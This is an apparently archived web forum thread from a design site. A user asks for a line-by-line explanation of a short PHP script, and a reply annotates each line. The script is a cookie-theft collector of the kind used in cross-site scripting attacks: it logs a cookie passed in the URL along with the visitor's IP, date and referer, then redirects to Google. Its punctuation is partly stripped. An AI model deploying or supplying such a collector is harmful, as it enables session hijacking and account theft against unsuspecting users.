Code2Design.com

User login

The Layout

Programming

Graphic Design

Resources

Navigation

C2D Projects

Unsystematic Affiliates

Tutorials Live Photoshop Lab Open Web Design PhotoShop Aid 

Change Language

Who's online

There are currently 0 users and 2 guests online.

php help...

hi experts, can you help please explain every line of code in this php script? thanks.

<?php
$cookie 
$_GET['cookie'];
$ip getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer=getenv ('HTTP_REFERER');
$fl fopen('log.txt''a');
fwrite($fl"\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
fclose($fl);
header("Location: http://google.com");
?>

i know what the script does and i have used it, i just don't know how it works... so any help would be appreciated.


Submitted by ixss on July 29, 2007 - 12:43pm.
printer friendly version

Explanation of script

Sure below I have broken down the file by adding comments ("/* ... */" and "//") to it.

<?php
/*
Create a variable called "cookie" and place the value of a item called "cookie" 
that was sent via "GET" to the page. something like this:
http://site.com?cookie=mycookie
So that would mean "$cookie is equal to "mycookie"
*/
$cookie $_GET['cookie'];

// It the users IP address and put it in another variable called "$ip".
$ip getenv ('REMOTE_ADDR');

//place the current date in a variable called "$date".
$date=date("m/d/Y g:i:s a");

//Place the refer information (previous page etc...) in a variable
$referer=getenv ('HTTP_REFERER');

//create a file Handle so that we can work with a file
$fl fopen('log.txt''a');

//Write the data to the file
fwrite($fl"\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");

//Close the file handle
fclose($fl);

//redirect to google.com
header("Location: http://google.com");
?>

I recommend you read the my lessons on working with files if you want to know more about how that works. (left side of the page)


Post new comment

The content of this field is kept private and will not be shown publicly.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd> <br> <br /> <h3>
  • Lines and paragraphs break automatically.
  • You may post code using <code>...</code> (generic) or <?php ... ?> (highlighted PHP) tags.
  • You can use BBCode tags in the text, URLs will be automatically converted to links
More information about formatting options



Like what you see?

Why not add more? C2D is looking for other Christian Web Masters who would like to help write articles for this site. If you have expericance in FLASH, CSS/HTML, PHP/MySQL, PhotoShop/GIMP, Blender, Javascript, or just General Design - our users would love to hear what you have to say. Contact Us

delicious   digg   reddit   magnoliacom   newsvine   furl   google   yahoo   technorati